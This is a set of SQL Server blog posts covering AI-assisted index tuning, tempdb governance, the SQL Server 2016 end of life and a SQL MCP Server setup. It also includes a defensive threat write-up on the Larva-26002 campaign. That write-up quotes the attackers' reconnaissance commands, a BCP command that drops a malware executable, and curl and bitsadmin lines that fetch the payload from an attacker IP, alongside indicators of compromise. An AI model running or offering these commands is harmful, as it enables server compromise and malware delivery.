Same syntax, different procedure. This time sp_BlitzIndex builds the prompt, calls the API directly via sp_invoke_external_rest_endpoint, and returns the AI's advice in your result set — without you leaving SSMS. Notice the difference from @AI = 2: the result set now includes four new columns — AI Advice, AI Prompt, AI Payload, and AI Raw Response — all returned directly in SSMS.

SSMS Output

The AI Advice column contains the full implementation-ready recommendation. Click into it and you get a prioritized plan: which indexes to drop, which to create, the exact CREATE INDEX and DROP INDEX scripts, and undo scripts for every change. All of it, right there in your SSMS output.

Another snippet, but you can view the full AI Advice output for this run here.

What It's Actually Sending to the AI

Worth understanding before you run this in a client environment. The system prompt Brent baked into sp_BlitzIndex instructs the model to behave like this:

'You are a very senior database developer working with Microsoft SQL Server and Azure SQL DB. You focus on real-world, actionable advice that will make a big difference, quickly. You value everyone's time, and while you are friendly and courteous, you do not waste time with pleasantries or emoji because you work in a fast-paced corporate environment. Do not describe the table: you are working with other very senior database developers who understand SQL Server deeply, so get straight to the point with your recommendations and scripts.'

Kudos to Brent. No pleasantries. No emoji. Just get-to-the-point recommendations and scripts. I respect that. The data payload it sends is: existing index definitions, SQL Server's missing index suggestions, column data types, and foreign keys. No actual data rows leave your server.

That said, if you use a hosted model like ChatGPT or Gemini, your schema metadata is traveling to a cloud endpoint. That means table names, column names, data types and key structure. For most environments, that's acceptable, but if you're in a regulated shop where even schema metadata is sensitive, know that before you run @AI = 1. As Brent said when someone asked him what sensitive information gets to AI: 'Depends on what AI service you choose to use. That's on you, son.'

The Part That Still Requires a Human

Much like I said in my BlitzCache series: AI didn't replace anything. It accelerated the starting point. Every recommendation it returned, I reviewed against the actual workload before touching a production index. SQL Server's own missing index suggestions are notoriously greedy — they optimize for the query that generated them, not for the table as a whole. The AI takes those suggestions as input and applies judgment. This is much better than taking them raw, but still not a substitute for knowing your environment.

What it saved me: Time. The prompt-to-recommendation cycle on a table I already knew took under two minutes. The undo scripts were already written. The Markdown output went straight into a client deliverable without reformatting. That is a true time saver and a real value.

Go Get the March 2026 FRK

Download at brentozar.com/first-aid, or PowerShell:

Install-DbaFirstResponderKit -SqlInstance YourServerName -Database master

If you already set up sp_BlitzCache AI, be sure to run the migration script first or things will break.

Pick a table you already know has index problems. Run it with @AI = 2 first — no risk, just instant results. See what the prompt looks like and what comes back. Then decide if @AI = 1 is worth the API setup for your environment. For me, on SQL Server 2025 with credentials already configured: Yes. Absolutely. Do it.

More to Read:

Updated First Responder Kit for March 2026 — Brent Ozar
Blitz_AI migration script — GitHub Gist
sp_BlitzCache Can Talk to ChatGPT Now. Here's How. — sqlfingers.com
sp_BlitzCache + ChatGPT: I'm Convinced. — sqlfingers.com
sp_invoke_external_rest_endpoint — Microsoft Learn

Resource Governor in SQL Server 2025. A Good Change.

Someone runs a massive SELECT INTO #temp, tempdb fills the drive, and the entire instance freezes up dead. You get paged at 2 AM, kill the session, shrink the files, and spend the next day writing a monitoring script that you hope will catch it next time.

SQL Server 2025 finally lets you stay ahead of this. The Resource Governor can now cap how much tempdb space a workload is allowed to consume. Exceed the limit and SQL Server kills the query — not the instance. How cool is that? It's like proactive DBA-ing without the DBA. 😜

What Changed

The Resource Governor has been around since SQL Server 2008, managing CPU, memory, and I/O. Personally, I've always thought it was a bit tedious and somewhat high-maintenance. SQL Server 2025 has added a new option to limit tempdb space consumption that makes things a little more manageable:

Setting	What It Does
GROUP_MAX_TEMPDB_DATA_MB	Hard cap in megabytes on tempdb data space for the group
GROUP_MAX_TEMPDB_DATA_PERCENT	Cap as a percentage of max configured tempdb size

When a query in the managed workload group tries to push past the limit, SQL Server aborts it with error 1138:

Msg 1138, Level 17
Could not allocate a new page for database 'tempdb' because 
that would exceed the limit set for workload group 'default'.

The query dies. The instance lives. End of story.

Step 1: Enable Resource Governor

Resource Governor is disabled by default. Run this to enable it:

ALTER RESOURCE GOVERNOR ENABLE;

Step 2: Monitor Before You Cap

SQL Server 2025 introduces tempdb usage tracking per workload group. Once Resource Governor is enabled, query the following to establish a baseline before setting any limits:

SELECT
    wg.group_id,
    wg.name AS workload_group,
    rg.group_max_tempdb_data_mb AS cap_mb,
    wg.tempdb_data_space_kb / 1024.0 AS current_mb,
    wg.peak_tempdb_data_space_kb / 1024.0 AS peak_mb,
    wg.total_tempdb_data_limit_violation_count AS violations
FROM sys.dm_resource_governor_workload_groups wg JOIN sys.resource_governor_workload_groups rg 
  ON rg.group_id = wg.group_id;

Watch the peaks. You need to know what your workloads actually consume before you set a cap. Setting a 20 GB limit on an instance where reporting queries routinely spike to 25 GB means you're just going to kill the reporting.

Step 3: Set the Cap

The Resource Governor uses workload groups to classify sessions. Every instance ships with a default workload group, and any session that is not explicitly routed to a named group lands in there. This is how you'd limit the tempdb usage on the default group, which puts a ceiling on every unclassified session on the instance:

ALTER WORKLOAD GROUP [default] WITH (GROUP_MAX_TEMPDB_DATA_MB = 20480);
ALTER RESOURCE GOVERNOR RECONFIGURE;

Or to remove that limit:

ALTER WORKLOAD GROUP [default] WITH (GROUP_MAX_TEMPDB_DATA_MB = NULL);
ALTER RESOURCE GOVERNOR RECONFIGURE;

What It Governs (and What It Does Not)

The Resource Governor tracks tempdb data space only. That includes temp tables, table variables, spools, spills, worktables, and sort space. It does not govern tempdb log space and it does not govern the version store.

For the log side, SQL Server 2025 also added support for Accelerated Database Recovery (ADR) on tempdb, which provides instantaneous transaction rollback and aggressive log truncation. Between tempdb data governance and ADR on tempdb, both sides are now more manageable — but they are two separate features that must both be configured separately. NOTE: You cannot enable ADR on the tempdb without a service restart.

The Gotchas

Capping the default workload group is a good start, but not a full solution. If every session lives in the default group, a single query can easily consume the whole cap, leaving everything else with the error 1138 shown above. With mixed workloads, the default group alone is not enough. Reporting and OLTP behave differently under tempdb pressure, and they won't play nicely together. I recommend classifying them into separate user-defined workload groups, each with its own ceiling. This requires a classifier function in master, which is more setup, but very much worth it for environments with mixed workloads. See here: Microsoft Learn.

Tempdb file configuration matters if you use the GROUP_MAX_TEMPDB_DATA_PERCENT setting. With this configuration, your tempdb data files need either autogrow disabled or a defined MAXSIZE, or the percentage setting will not be enforced. When the file config requirements are not met, SQL Server silently ignores the limit and issues warning 10989. Also, if you change tempdb file config after setting percent-based limits, SQL Server also doesn't tell you that your cap just changed. Using the MB-based setting allows more predictable behavior. See Tempdb space resource governance on Microsoft Learn.

ADR on tempdb has a known issue. Microsoft has documented that when ADR is enabled on tempdb, and temporary tables are being created and dropped at a high rate, the workload throughput can be substantially reduced due to latch contention on the sys.sysseobjvalues system table. This issue is currently under investigation. If your workload involves heavy temp table churn, you may want to hold off before enabling ADR on tempdb in production. Or at least test extensively before calling it good.

The version store is not governed. If you use Read Committed Snapshot Isolation (RCSI), snapshot isolation, or ADR, the version store will grow independently of your workload group limits. A long-running transaction can fill tempdb through the version store even if every workload group is perfectly capped. The version store size must be monitored separately via sys.dm_db_file_space_usage.

The Bottom Line

I can't count the number of times I've seen a tempdb filling up its drive. Before SQL Server 2025, the only real options were custom monitoring jobs, alerts — and just hoping that nobody is querying things too ambitiously. Now there is a native kill switch that will let you stay ahead of things.

First, establish good baselines for your hottest sessions. Then enable the Resource Governor and set your cap accordingly. Stop worrying about 2 AM pages for tempdb.

Standard Edition Gets It Now, Too

Even better is that as of SQL Server 2025, Microsoft has moved the Resource Governor from being an Enterprise-only feature to being included in both Standard and Enterprise editions with identical, full capabilities.

More to Read

Tempdb Space Resource Governance — Microsoft Learn
TempDB Filling Up? Try Resource Governor — Brent Ozar
Accelerated Database Recovery — Microsoft Learn
Monitor and Troubleshoot Accelerated Database Recovery — Microsoft Learn
Resource Governor: A New Beginning — Microsoft SQL Server Blog

SQL Server 2016: 111 Days. The Last Patch Just Dropped.

On March 10, Microsoft dropped a security patch for SQL Server 2016. It fixed a publicly disclosed, actively scrutinized elevation-of-privilege vulnerability — one that lets any authenticated user escalate straight to sysadmin. Patched. Done. You're safe. For now.

Here's the part that matters most: That patch came with an expiration date. SQL Server 2016 goes end of life on July 14, 2026. That's 111 days from today.

If you're still running SQL Server 2016 in production, this post is for you.

What March 10 Just Told You

This month's Patch Tuesday included three SQL Server elevation-of-privilege vulnerabilities — CVE-2026-21262 (publicly disclosed), CVE-2026-26115, and CVE-2026-26116. SQL Server 2016 got its patch: KB5077474, build 13.0.6480.4.

CVE-2026-21262 is the one worth staring at. Any authenticated database user — not just a DBA, not just a developer — can exploit it to become sysadmin. I wrote about it last week-ish. It's the kind of CVE that belongs on a compliance report, and possibly a very uncomfortable conversation with your manager.

And if you read yesterday's post on the Larva-26002 BCP malware campaign, you already know what the full attack chain looks like once they're in.

Today, you can patch it. After July 14, that option closes. The CVEs keep arriving on schedule, but the patches for SQL Server 2016 are done.

111 Days Is Not as Long as You Think

Walk the calendar backward from July 14. Be honest about your org's real-world timeline.

Activity	Typical Time Needed
Inventory and dependency audit	1–2 weeks
Stakeholder approval and budget sign-off	2–4 weeks
Non-production environment testing	2–4 weeks
Application and vendor compatibility validation	1–3 weeks
Change control and production scheduling	2–4 weeks
Buffer for surprises (plan for them)	2 weeks minimum

Add that up and you're at 10–17 weeks — which is, coincidentally, almost exactly 111 days. Starting today puts you right on the edge. Starting next month puts you over it.

If you haven't read what technically breaks in a 2016-to-2025 upgrade — linked servers, replication, full-text catalogs, SSIS, connection strings — start there first. The engine upgrade is not the hard part. Discovering what silently fails afterward is.

The Double Deadline Nobody Is Talking About

Here's a small detail that somehow keeps getting buried in the industry coverage: if your SQL Server 2016 is running on Windows Server 2016 — and many are — you have two end-of-life deadlines arriving within six months of each other. SQL Server 2016 goes EOL on July 14, 2026. Windows Server 2016 extended support ends January 12, 2027. Close, but not the same day — a reader caught this and they were right.

That means you're not scheduling one upgrade. You're scheduling two, on the same hardware, with deadlines six months apart, competing for the same change window. Coordinate them together now and it's one migration project. Ignore it and it becomes two crises in the same six-month stretch.

If you're not sure whether your SQL Server 2016 instances are sitting on Windows Server 2016, run this:

SELECT 
    @@SERVERNAME               AS server_name,
    @@VERSION                  AS sql_version,
    host_platform,
    host_distribution,
    host_release
FROM sys.dm_os_host_info;

If host_distribution comes back as 'Windows', check @@VERSION — if it says 'Windows Server 2016', you have both problems in one box.

The CVE Conveyor Belt

This number keeps me up at night on behalf of any of my customers still on 2016: 79 CVEs were published against SQL Server 2016 in 2024 alone, with an average CVSS score of 8.4 in 2025. This is no small thing.

It's not going to slow down after July 14. The researchers and the threat actors definitely aren't checking the EOL calendar. What stops after July 14 is Microsoft's response to what they find. Every vulnerability disclosed after that date becomes a permanent resident in your environment — no patch coming, no timeline, no fix.

To be fair: you can buy your way out of that for a while. Which brings us to the ESU math.

The ESU Trap

Extended Security Updates are Microsoft's 'we'll keep patching it if you keep paying' program. For SQL Server 2016, they're available for up to three additional years past EOL — so through July 2029. But read the fine print before you treat this as a plan.

ESU covers critical security patches only. No bug fixes. No performance improvements. No features. No support calls. And the cost structure is punishing: roughly 75% of your original license cost in year one, doubling each subsequent year. By year three, you may be spending more on ESU than a new license would have cost you when this conversation started.

ESU is a bridge — though a short one — with a toll.

If you're in a regulated industry (PCI-DSS, HIPAA, SOC 2, ISO 27001), there's another wrinkle: those frameworks generally require software to be on a supported, actively patched version. 'We're paying for ESU' may not satisfy your auditors as well as 'We upgraded before the deadline' will.

The Ecosystem Is Already Moving On

Microsoft isn't the only one checking the calendar. Third-party vendors have their own support matrices, and SQL Server 2016 is starting to fall off them.

BMC has already published Control-M/EM 9.0.27, planned for October 2026, and will no longer support MSSQL 2016 as a backend database, and they won't be the last. Application vendors follow the same lifecycle pressure, and they rarely give more than a product release cycle of notice. By the time your ISV emails you about it, you're probably already behind.

Running an unsupported database version also tends to quietly invalidate software support agreements in ways that only surface when something breaks badly and you need the vendor to help. That's a terrible time to learn your environment does not meet your vendor pre-reqs.

What to Do Right Now

If you haven't started, this is the actual checklist — not the marketing version.

First, find every SQL Server 2016 instance you have. Include everything -- even the report server the finance team spun up in 2018 and didn't tell anyone about. This query will tell you what you've got:

SELECT 
    @@SERVERNAME   AS server_name,
    @@VERSION      AS version_string,
    SERVERPROPERTY('ProductVersion')   AS product_version,
    SERVERPROPERTY('ProductLevel')     AS product_level,
    SERVERPROPERTY('Edition')          AS edition;

Anything with a version starting with 13.x is SQL Server 2016. Write them down.

Next, check your linked server providers — because this is the most common place upgrades silently detonate:

SELECT 
    s.name AS linked_server,
    s.provider,
    s.data_source
FROM sys.servers s
WHERE s.is_linked = 1;

Any row showing SQLNCLI or SQLNCLI11 is a problem waiting to happen post-upgrade. SQL Server 2025 ships with MSOLEDBSQL 19, which enforces TLS certificate validation that the old SQL Native Client silently skipped. Those linked servers will fail. Plan for it now, not after your upgrade.

Then — and I cannot stress this enough — test in non-production first. Not just the upgrade. Every downstream connection, every SSIS package, every replication topology, every application connection string. As I said, the engine upgrade itself is typically the easy part. Here's a full breakdown of what will break, and why.

The Bottom Line

SQL Server 2016 just got patched. That's the good news. The better news — if you act on it — is that you still have 111 days to handle things properly, rather than in panic mode.

Every day you wait, the calendar compresses and the options narrow. The organizations that are going to have a bad summer are the ones having this conversation in June. Don't be them.

July 14, 2026. Mark it in red. Then work backwards.

Need help planning the upgrade before the deadline? We do this.

More to Read

sqlfingers: SQL Server 2016 Ends in July. Here's What Will Break.
sqlfingers: Patch Tuesday: Your sysadmin Role Was Up for Grabs
sqlfingers: They Hid Malware in a SQL Table. A Weak Password and BCP Did the Rest.
endoflife.date: Microsoft SQL Server
Microsoft Lifecycle: SQL Server 2016

They Hid Malware in a SQL Table. A weak password and BCP Did the Rest.

BCP. I love it. It's a workhorse — bulk copy data in, bulk copy data out, no drama. I've used it more times than I can count. Which is exactly why this stopped me cold: AhnLab's Security Intelligence Center (ASEC) published a confirmed attack report on March 20, 2026 showing an active threat group using BCP to drop malware directly onto SQL Server hosts. No software flaw. No zero-day. They got through a weak password on an internet-exposed server — and then they weaponized BCP. The simple tool we've all used, doing exactly what it was designed to do, except the 'data' being exported is a malware executable.

Who Is Behind This

ASEC tracks this group as Larva-26002. They've been targeting MS-SQL servers since at least January 2024 — starting with Trigona and Mimic ransomware against internet-exposed instances. Palo Alto Unit42 and Zscaler covered Trigona. Securonix tied Mimic to Turkish-speaking threat actors. In 2025, the same group came back with upgraded tools — Teramind alongside AnyDesk, and a new scanner rebuilt in Rust. Now it's 2026 and they've upgraded again. Same group, same targets, new tooling. This is a long-running, actively maintained operation.

How They Get In

Brute force and dictionary attacks against internet-exposed SQL Server instances with weak or default credentials. That's it. No exploit chain, no CVE. Just hammering logins until one works. Once inside, they run basic reconnaissance first for situational awareness:

hostname
whoami
ipconfig /all
netstat -an
tasklist
tasklist /FI "IMAGENAME eq sqlservr.exe" /FO CSV /NH

Then the Call to BCP

The attacker stores the malware binary inside a database table and then uses BCP to export it to disk as an executable. This is the exact command ASEC documented:

bcp "select binaryTable from uGnzBdZbsi" queryout "C:\ProgramData\api.exe" -T -f "C:\ProgramData\FODsOZKgAU.txt"

Two things to note: the table name uGnzBdZbsi and the format file FODsOZKgAU.txt have not changed since the 2024 incident. ASEC confirmed these identifiers have been consistent across every documented attack cycle from 2024 to date. If you see either of those strings anywhere in your environment, stop whatever you are doing and investigate immediately.

Where BCP isn't available or fails, they fall back to curl, bitsadmin, or PowerShell to pull the payload from an external server:

curl -o "C:\programdata\api.exe" "hxxp://109.205.211[.]13/api.exe"
bitsadmin /transfer job1 /download /priority high "hxxp://109.205.211[.]13/api.exe" "C:\programdata\api.exe"

What Gets Installed

The file being dropped at C:\ProgramData\api.exe is a downloader ASEC labeled 'ICE Cloud Launcher' — written in Go. It authenticates to a command-and-control (C&C) server and pulls down the actual payload: 'ICE Cloud Client,' also Go-based, drops with a randomized filename to disguise itself as a legitimate program.

ICE Cloud Client is a scanner and brute-force tool. It registers with the C&C server, receives a list of MS-SQL addresses to target along with a credential pair to try — they used ecomm/ecomm — and then successful logins go straight back to the C&C server. Your compromised SQL Server is now their scout.

Also interesting, the binary strings inside ICE Cloud are written in Turkish, clearly tying this 2026 campaign to the earlier Mimic ransomware operation.

The Part That Gets Me The Most

ASEC confirmed that in 2026, Larva-26002 attacked the same servers they compromised in 2024. Not similar servers — the same ones. They came back. Servers that were never properly cleaned up are being revisited on a recurring cycle, each time with the group's latest tooling.

Look at that three-year path: ransomware in 2024, Rust-based scanning in 2025, ICE Cloud scanning in 2026. They've moved away from ransomware toward credential scanning at scale, and they're building a hit list. A growing pool of compromised SQL Servers quietly probing for the next victim.

IOCs to Check Right Now

Everything below comes directly from the ASEC report. Confirmed indicators from the active 2026 campaign:

Type	Value	Notes
Table name	uGnzBdZbsi	Used to store malware payload since 2024
Format file	FODsOZKgAU.txt	BCP format file, consistent since 2024
Dropped file	C:\ProgramData\api.exe	ICE Cloud Launcher downloader
C&C IP	109.205.211[.]13	Payload download and C&C server
Domain	hostroids[.]com	Associated infrastructure

MD5 hashes published by ASEC for the malware samples:

0a9f2e2ff98e9f19428da79680e80b77
28847cb6859b8239f59cbf2b8f194770
5200410ec674184707b731b697154522
7fbbf16256c7c89d952fee47b70ea759
89bf428b2d9214a66e2ea78623e8b5c9

What Should You Do?

If your SQL Server has any internet exposure — direct or through an application — start here:

Lock down port 1433.

SQL Server should not be reachable from the open internet. Firewall rules should restrict access to known, trusted IP ranges only. If you're not sure what's exposed, find out today.

Audit your SQL logins.

Default and simple credentials are the entry point. Dictionary attacks mean they're trying common passwords. Disable sa if it's not needed. If you have sa enabled with a weak password, or any login with credentials like ecomm/ecomm, change them immediately. Need to find them first? Here's how to find weak passwords using PWDCOMPARE.

Review BCP activity.

BCP is legitimate, but it has no business running unattended on a production server outside of a known, documented process. Check all SQL Server Agent jobs and Windows scheduled tasks for all BCP executions — and then verify each one is intended.

Check for the IOC artifacts.

Search for api.exe in C:\ProgramData\, the table name uGnzBdZbsi, and the format file FODsOZKgAU.txt. These strings have not changed across three years of active attacks. Look. For. Them.

If you were compromised before and 'cleaned up' — verify.

ASEC confirmed return visits to previously compromised servers. A cleanup that didn't include closing the original entry point, such as weak credentials or an exposed port, was not a full cleanup.

These aren't sophisticated attackers. They're patient ones. A weak password and an open port is all it took. Don't make it that easy for them.

More to Read

AhnLab ASEC: Attack Targeting MS-SQL Servers to Deploy the ICE Cloud Scanner (Larva-26002) — March 20, 2026
AhnLab ASEC: Larva-26002 Trigona and Mimic Ransomware Campaign — January 2024
AhnLab ASEC: Larva-26002 2025 Campaign (Rust-based scanner)
Palo Alto Unit42: Trigona Ransomware Update
Zscaler: Technical Analysis of Trigona Ransomware
Securonix: Turkish Hackers Target MS-SQL Servers with Mimic Ransomware

SQL MCP Server: From Setup to Live Data

In a previous post, I covered what SQL MCP Server is, why it matters, and why getting the security model right is non-negotiable. If you haven't read that one, please start there. This post is the follow-up where I'll walk through the full setup and usage. We'll install the tools, configure the server, expose a couple tables, and connect Claude Desktop to query live SQL Server data. It's a simple example of the how-to beginning to end.

What you need before you start

Three things:

Prerequisite	Notes
.NET 8 SDK	Required to install the DAB CLI. Download from Microsoft — SDK column, Windows x64 installer.
Node.js (LTS)	Required for the mcp-remote bridge. Download from nodejs.org — the LTS button on the left.
Claude Desktop	The MCP client. Free download at claude.com/download — Windows version. Requires a paid Claude plan.

Both .NET and Node.js are safe, standard installs. Neither runs as a background service, neither touches SQL Server, and both coexist cleanly with whatever else is on your machine. Verify them after install:

dotnet --version
node --version

Step 1: Install the Data API Builder CLI

SQL MCP Server ships as part of Data API Builder (DAB), Microsoft's open source engine for exposing SQL Server data as REST, GraphQL, and MCP endpoints. Version 1.7 is what added MCP support. Install it at commmand line as a global .NET tool:

dotnet tool install -g Microsoft.DataApiBuilder

You'll see some first-run .NET output, then confirmation. Verify the install:

dab --version

You're looking for version 1.7 or later. Mine is 1.7.90, which is current as of this writing.

Step 2: Create a working folder and initialize the config

DAB is driven entirely by a JSON config file. Create a folder to work in and initialize the config against your SQL Server instance:

mkdir C:\dab-mcp
cd C:\dab-mcp
dab init --database-type mssql --connection-string "Server=SQLFINGERSMINI\V2025;Database=Orders;Trusted_Connection=True;TrustServerCertificate=True;" --config dab-config.json --host-mode development

Regarding that connection string, Windows authentication works fine here. There is no reason to switch to SQL auth just for this. Also, TrustServerCertificate=True is needed for local dev instances without a trusted SSL cert, and --host-mode development enables verbose logging, which you'll want while getting set up.

If it works, you'll see something like this:

Step 3: Add your tables

The config file defines the connection. Now you tell DAB which tables to expose. I'm using an Orders database with two tables — Customer (500K rows) and SalesOrder (1M rows) — both exposed as read-only:

dab add Customer --source dbo.Customer --source.type table --permissions "anonymous:read" --description "Customer records"

dab add SalesOrder --source dbo.SalesOrder --source.type table --permissions "anonymous:read" --description "Sales order records"

One gotcha worth calling out: DAB accepts the dab add command without validating that the table actually exists. I mistyped dbo.SalesOrders with a trailing S, and the server threw an 'Invalid object name' error on startup. Another helpful tip: there is no dab remove command. Fixing a typo means opening dab-config.json directly in a text editor and correcting it by hand. Double-check your object names before you add them.

Step 4: Start the server

dab start

DAB connects to SQL Server, pulls schema for each entity, and starts listening on http://localhost:5000. Keep this command prompt window open — it's your running server. The dab start has a fairly large return. This image is just the end of the output and reflects that the DAB server is now running:

Now you want to verify the REST endpoint is working by calling this in a browser:

http://localhost:5000/api/Customer

You should get back a JSON payload with Customer records.

Now verify the MCP endpoint:

http://localhost:5000/mcp

That's not a failure — that's the MCP endpoint working correctly. A browser isn't a valid MCP client, so it's rejecting the connection because no session handshake was initiated. The endpoint is alive and enforcing the protocol. Good.

Step 5: Connect Claude Desktop

Claude Desktop supports MCP connections through a JSON config file. The tricky part on Windows is finding it — the MSIX-packaged version stores it somewhere non-obvious:

%LOCALAPPDATA%\Packages\Claude_pzs8sxrjxfjjc\LocalCache\Roaming\Claude\claude_desktop_config.json

Once you've found it, open in Notepad and add an mcpServers block after your existing preferences section:

{
  "preferences": {
    "coworkWebSearchEnabled": true,
    "ccdScheduledTasksEnabled": true,
    "coworkScheduledTasksEnabled": false
  },
  "mcpServers": {
    "sql-mcp": {
      "command": "npx",
      "args": [
        "mcp-remote@latest",
        "http://localhost:5000/mcp",
        "--allow-http"
      ]
    }
  }
}

What this does: Claude Desktop expects MCP servers to communicate over stdio — a local process it launches itself. DAB uses HTTP. The mcp-remote package (run via npx, which ships with Node.js) bridges the two, and --allow-http tells it that an unencrypted local connection is acceptable — totally fine for a dev setup.

Save the file, then fully quit Claude Desktop. Closing the window isn't enough — it stays running in the background. Use Task Manager, find Claude, and End Task. Then relaunch it from the Start menu.

Once it's back up, click the + button at the bottom of the chat input, then click Connectors. You should see sql-mcp listed and enabled.

Ok. So how does it work?

Start a new chat in Claude Desktop and ask something simple, like 'How many customers do I have?'

Look at that. My question followed by Claude's processing notes and answer at the bottom. Response time? It took just under 2 minutes for Claude to find my server, the Orders database and the Customer table. Important note: DAB doesn't execute arbitrary SQL. It exposes typed CRUD operations against defined entities. There's no SELECT COUNT(*) happening. Claude is calling the read_records tool, paginating the results, and inferring the count from what comes back. For 500K rows with zero efficient query techniques, under 2 minutes is not that bad.

And that's it. The longer response time may be a trade-off for a controlled, auditable surface, but again, I did not use any smarts to optimize the MCP call, and it's on my local instance with limited memory and zero indexes. Just like any other SQL call, do it properly. Think carefully about what you expose and how the agent will interact with it. Large tables with no natural filtering strategy will be slow. If you're building something real, consider exposing scoped views or stored procedures instead of raw tables, and you can also isolate workloads by running AI-generated queries from the MCP server on a separate instance (or replica) to avoid unnecessary overhead. Lastly, you should use the --description flag to give the agent enough context to query intelligently. As I've tried to emphasize in my other sp_BlitzCache/AI posts, the AI is only as good as the data it's given. You need to help the AI do its job effectively.

What this setup actually is

This is a local development configuration. The DAB server runs on your machine, listens on localhost, and only Claude Desktop on that same machine can reach it. That's the right place to start learning the tool, but it's not how you'd deploy this for a customer. Production means containerizing DAB, deploying behind proper authentication, scoping a dedicated low-privilege login, and running over HTTPS. I covered the security concerns in the previous post — and all of that still applies here.

This post shows that the full path from a cold machine to Claude-querying-live-data through a controlled MCP interface is achievable in a couple hours. The tooling works and the configuration is straightforward. I believe this is a good starting point for anyone looking to understand the SQL MCP server as a bridge between AI and your SQL Server databases.

More to Read:

SQL MCP Server overview — Microsoft Learn
What is Data API Builder? — Microsoft Learn
DAB CLI reference — Microsoft Learn
SQL Server MCP: The Bridge Between Your Database and AI — sqlfingers.com